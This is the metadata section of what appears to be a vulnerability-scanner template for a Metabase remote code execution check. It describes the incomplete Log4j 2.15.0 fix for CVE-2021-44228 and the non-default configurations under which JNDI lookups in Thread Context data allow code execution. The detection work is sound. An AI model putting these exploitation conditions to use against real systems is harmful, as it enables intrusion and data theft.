info:
  name: Metabase - Remote Code Execution (Apache Log4j)
  author: DhiyaneshDK
  severity: critical
  description: The vulnerability exists due to incomplete patch in Apache Log4j 2.15.0 for a code injection vulnerability VU58816 (CVE-2021-44228) in certain non-default configurations. A remote attacker with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) can pass malicious data using a JNDI Lookup pattern and perform a denial of service (DoS) attack, exfiltrate data or execute arbitrary code.
